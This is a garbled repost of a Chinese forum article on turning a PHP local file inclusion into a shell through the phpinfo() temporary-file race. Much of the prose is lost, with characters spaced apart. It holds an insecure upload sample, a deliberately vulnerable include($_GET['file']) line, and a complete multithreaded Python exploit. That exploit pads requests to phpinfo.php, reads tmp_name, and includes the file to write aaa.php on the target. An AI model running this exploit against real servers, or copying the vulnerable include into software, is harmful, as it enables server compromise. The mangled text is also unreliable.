[15725] 2020-08-13_技术讨论PHP本地文件包含漏洞GetShell

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-18
2020-08-13_技术讨论PHP本地文件包含漏洞GetShell   |   P H P G e t S h e l l g u a n a n 2 0 1 9   F r e e B u f   2 0 2 0 - 0 8 - 1 3 G e t S h e l l p h p m y a d m i n P S P H P b a s e _ d i r 1 . P H P 2 . P H P I N F O , d e b u g , t m p _ n a m e W i n d o w s   +   p h p   5 . 6 0 x 0 1 : P H P e x a m p l e < ? p h p i f   ( ( ( $ _ F I L E S [ " f i l e " ] [ " t y p e " ]   = =   " i m a g e / g i f " ) | |   ( $ _ F I L E S [ " f i l e " ] [ " t y p e " ]   = =   " i m a g e / j p e g " ) | |   ( $ _ F I L E S [ " f i l e " ] [ " t y p e " ]   = =   " i m a g e / p j p e g " ) ) & &   ( $ _ F I L E S [ " f i l e " ] [ " s i z e " ]   <   2 0 0 0 0 ) )     {     i f   ( $ _ F I L E S [ " f i l e " ] [ " e r r o r " ]   >   0 )         {         e c h o   " E r r o r :   "   .   $ _ F I L E S [ " f i l e " ] [ " e r r o r " ]   .   " < b r   / > " ;         }     e l s e         {         e c h o   " U p l o a d :   "   .   $ _ F I L E S [ " f i l e " ] [ " n a m e " ]   .   " < b r   / > " ;         e c h o   " T y p e :   "   .   $ _ F I L E S [ " f i l e " ] [ " t y p e " ]   .   " < b r   / > " ;         e c h o   " S i z e :   "   .   ( $ _ F I L E S [ " f i l e " ] [ " s i z e " ]   /   1 0 2 4 )   .   "   K b < b r   / > " ;         e c h o   " S t o r e d   i n :   "   .   $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] ;         }     } e l s e
  P H P   p h p   +   r a n d o m ( 6 )   P H P P O S T 访 P H P 0 x 0 2 : p h p i n f o ( )   p h p i n f o     P 1 . p h p 4 0 9 6 s o c k e t 4 0 9 6 2 . p h p i n f o   R e s p o n s e 3 . s o c k e t   4 0 9 6 4 . s o c k e t g e t s h e l l p h p i n f o . p h p l f i . p h p     {     e c h o   " I n v a l i d   f i l e " ;     } ? > < ? p h p   p h p i n f o ( ) ; ? > < ? p h p $ a = $ _ G E T [ ' f i l e ' ] ; i n c l u d e ( $ a ) ;
w i n d o w s     / / w i n d o w s   R E Q 1   R E Q 2 ? > # ! / u s r / b i n / p y t h o n i m p o r t   s y s i m p o r t   t h r e a d i n g i m p o r t   s o c k e t d e f   s e t u p ( h o s t ,   p o r t ) :         T A G   =   " S e c u r i t y   T e s t "         P A Y L O A D   =   " " " % s r < ? p h p   f i l e _ p u t _ c o n t e n t s ( ' a a a . p h p ' , ' < ? p h p   p h p i n f o ( ) ; ? > ' ) ; ? > r " " "   %   T A G         R E Q 1 _ D A T A   =   " " " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 d b f f 1 d e d 0 7 1 4 r C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " d u m m y n a m e " ;   f i l e n a m e = " t e s t . t x t " r C o n t e n t - T y p e :   t e x t / p l a i n r r % s - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 d b f f 1 d e d 0 7 1 4 - - r " " "   %   P A Y L O A D         p a d d i n g   =   " A "   *   5 0 0 0         R E Q 1   =   " " " P O S T   / p h p i n f o . p h p ? a = " " "   +   p a d d i n g   +   " " "   H T T P / 1 . 1 r C o o k i e :   P H P S E S S I D = a q f 2 e v 7 v o 5 p u q 7 b p b n i h c s 0 p b d a n f o 1 j ;   o t h e r c o o k i e = " " "   +   p a d d i n g   +   " " " r H T T P _ A C C E P T :   " " "   +   p a d d i n g   +   " " " r H T T P _ U S E R _ A G E N T :   " " "   +   p a d d i n g   +   " " " r H T T P _ A C C E P T _ L A N G U A G E :   " " "   +   p a d d i n g   +   " " " r H T T P _ P R A G M A :   " " "   +   p a d d i n g   +   " " " r C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 d b f f 1 d e d 0 7 1 4 r C o n t e n t - L e n g t h :   % s r H o s t :   % s r r % s " " "   %   ( l e n ( R E Q 1 _ D A T A ) ,   h o s t ,   R E Q 1 _ D A T A )         #   m o d i f y   t h i s   t o   s u i t   t h e   L F I   s c r i p t         L F I R E Q   =   " " " G E T   / e c . p h p ? f i l e = % s   H T T P / 1 . 1 r C o o k i e :   x x x x r U s e r - A g e n t :   M o z i l l a / 4 . 0 r P r o x y - C o n n e c t i o n :   K e e p - A l i v e r H o s t :   % s r r r " " "         r e t u r n   ( R E Q 1 ,   T A G ,   L F I R E Q ) d e f   p h p I n f o L F I ( h o s t ,   p o r t ,   p h p i n f o r e q ,   o f f s e t ,   l f i r e q ,   t a g ) :         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s 2   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s . c o n n e c t ( ( h o s t ,   p o r t ) )         s 2 . c o n n e c t ( ( h o s t ,   p o r t ) )
        s . s e n d ( p h p i n f o r e q )         d   =   " "         w h i l e   l e n ( d )   <   o f f s e t :                 d   + =   s . r e c v ( o f f s e t )         t r y :                 i   =   d . i n d e x ( " [ t m p _ n a m e ]   = & g t ;   " )                 f n   =   d [ i   +   1 7 : i   +   4 8 ]                 p r i n t ( f n )         e x c e p t   V a l u e E r r o r :                 r e t u r n   N o n e         s 2 . s e n d ( l f i r e q   %   ( f n ,   h o s t ) )         d   =   s 2 . r e c v ( 4 0 9 6 )         p r i n t ( l f i r e q   %   ( f n ,   h o s t ) )         p r i n t ( d )         s . c l o s e ( )         s 2 . c l o s e ( )         i f   d . f i n d ( t a g )   ! =   - 1 :                 r e t u r n   f n c o u n t e r   =   0 c l a s s   T h r e a d W o r k e r ( t h r e a d i n g . T h r e a d ) :         d e f   _ _ i n i t _ _ ( s e l f ,   e ,   l ,   m ,   * a r g s ) :                 t h r e a d i n g . T h r e a d . _ _ i n i t _ _ ( s e l f )                 s e l f . e v e n t   =   e                 s e l f . l o c k   =   l                 s e l f . m a x a t t e m p t s   =   m                 s e l f . a r g s   =   a r g s         d e f   r u n ( s e l f ) :                 g l o b a l   c o u n t e r                 w h i l e   n o t   s e l f . e v e n t . i s _ s e t ( ) :                         w i t h   s e l f . l o c k :                                 i f   c o u n t e r   > =   s e l f . m a x a t t e m p t s :                                         r e t u r n                                 c o u n t e r   + =   1                         t r y :                                 x   =   p h p I n f o L F I ( * s e l f . a r g s )                                 i f   s e l f . e v e n t . i s _ s e t ( ) :                                         b r e a k                                 i f   x :                                         p r i n t                                         " n G o t   i t !   S h e l l   c r e a t e d   i n   / t m p / g "                                         s e l f . e v e n t . s e t ( )                         e x c e p t   s o c k e t . e r r o r :                                 r e t u r n
d e f   g e t O f f s e t ( h o s t ,   p o r t ,   p h p i n f o r e q ) :         " " " G e t s   o f f s e t   o f   t m p _ n a m e   i n   t h e   p h p   o u t p u t " " "         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s . c o n n e c t ( ( h o s t ,   p o r t ) )         s . s e n d ( p h p i n f o r e q )         d   =   " "         w h i l e   T r u e :                 i   =   s . r e c v ( 4 0 9 6 )                 d   + =   i                 i f   i   = =   " " :                         b r e a k                 #   d e t e c t   t h e   f i n a l   c h u n k                 i f   i . e n d s w i t h ( " 0 r n r n " ) :                         b r e a k         s . c l o s e ( )         i   =   d . f i n d ( " [ t m p _ n a m e ]   = & g t ;   " )         i f   i   = =   - 1 :                 r a i s e   V a l u e E r r o r ( " N o   p h p   t m p _ n a m e   i n   p h p i n f o   o u t p u t " )         p r i n t         " f o u n d   % s   a t   % i "   %   ( d [ i : i   +   1 0 ] ,   i )         #   p a d d e d   u p   a   b i t         r e t u r n   i   +   2 5 6 d e f   m a i n ( ) :         p r i n t         " L F I   W i t h   P H P I n f o ( ) "         p r i n t         " - = "   *   3 0         i f   l e n ( s y s . a r g v )   <   2 :                 p r i n t                 " U s a g e :   % s   h o s t   [ p o r t ]   [ t h r e a d s ] "   %   s y s . a r g v [ 0 ]                 s y s . e x i t ( 1 )         t r y :                 h o s t   =   s o c k e t . g e t h o s t b y n a m e ( s y s . a r g v [ 1 ] )         e x c e p t   s o c k e t . e r r o r ,   e :                 p r i n t                 " E r r o r   w i t h   h o s t n a m e   % s :   % s "   %   ( s y s . a r g v [ 1 ] ,   e )                 s y s . e x i t ( 1 )         p o r t   =   8 0         t r y :                 p o r t   =   i n t ( s y s . a r g v [ 2 ] )         e x c e p t   I n d e x E r r o r :                 p a s s         e x c e p t   V a l u e E r r o r   a s   e :                 p r i n t
                p r i n t                 " E r r o r   w i t h   p o r t   % d :   % s "   %   ( s y s . a r g v [ 2 ] ,   e )                 s y s . e x i t ( 1 )         p o o l s z   =   1 0         t r y :                 p o o l s z   =   i n t ( s y s . a r g v [ 3 ] )         e x c e p t   I n d e x E r r o r :                 p a s s         e x c e p t   V a l u e E r r o r ,   e :                 p r i n t                 " E r r o r   w i t h   p o o l s z   % d :   % s "   %   ( s y s . a r g v [ 3 ] ,   e )                 s y s . e x i t ( 1 )         p r i n t         " G e t t i n g   i n i t i a l   o f f s e t . . . " ,         r e q p h p ,   t a g ,   r e q l f i   =   s e t u p ( h o s t ,   p o r t )         o f f s e t   =   g e t O f f s e t ( h o s t ,   p o r t ,   r e q p h p )         s y s . s t d o u t . f l u s h ( )         m a x a t t e m p t s   =   1 0 0 0         e   =   t h r e a d i n g . E v e n t ( )         l   =   t h r e a d i n g . L o c k ( )         p r i n t         " S p a w n i n g   w o r k e r   p o o l   ( % d ) . . . "   %   p o o l s z         s y s . s t d o u t . f l u s h ( )         t p   =   [ ]         f o r   i   i n   r a n g e ( 0 ,   p o o l s z ) :                 t p . a p p e n d ( T h r e a d W o r k e r ( e ,   l ,   m a x a t t e m p t s ,   h o s t ,   p o r t ,   r e q p h p ,   o f f s e t ,   r e q l f i ,   t a g ) )         f o r   t   i n   t p :                 t . s t a r t ( )         t r y :                 w h i l e   n o t   e . w a i t ( 1 ) :                         i f   e . i s _ s e t ( ) :                                 b r e a k                         w i t h   l :                                 s y s . s t d o u t . w r i t e ( " r %   4 d   /   %   4 d "   %   ( c o u n t e r ,   m a x a t t e m p t s ) )                                 s y s . s t d o u t . f l u s h ( )                                 i f   c o u n t e r   > =   m a x a t t e m p t s :                                         b r e a k                 p r i n t                 i f   e . i s _ s e t ( ) :                         p r i n t                         " W o o t !     m / "                 e l s e :                         p r i n t                         " : ( "         e x c e p t   K e y b o a r d I n t e r r u p t :
G e t S h e l l : t a r g e t _ h o s t   p o r t   t h r e a d a a a . p h p   a a a . p h p   R u n : t e m p                 p r i n t                 " n T e l l i n g   t h r e a d s   t o   s h u t d o w n . . . "                 e . s e t ( )         p r i n t         " S h u t t i n '   d o w n . . . "         f o r   t   i n   t p :                 t . j o i n ( ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         m a i n ( )
访   a a a . p h p p h p m y a d m i n , p h p i n f o   1 . p h p m y a d m i n   2 . 3 .   g e t s h e l l o p e n _ b a s e d i r m y s q l t m p , w w w o p e n _ b a s e d i r   p h p ~ P Y p y w i n d o w s   r e : E D I S E C   h t t p s : / / d l . p a c k e t s t o r m s e c u r i t y . n e t / p a p e r s / g e n e r a l / L F I _ W i t h _ P H P I n f o _ A s s i t a n c e . p d f h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / b l o b / m a s t e r / p h p / i n c l u s i o n / R E A D M E . z h - c n . m d

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则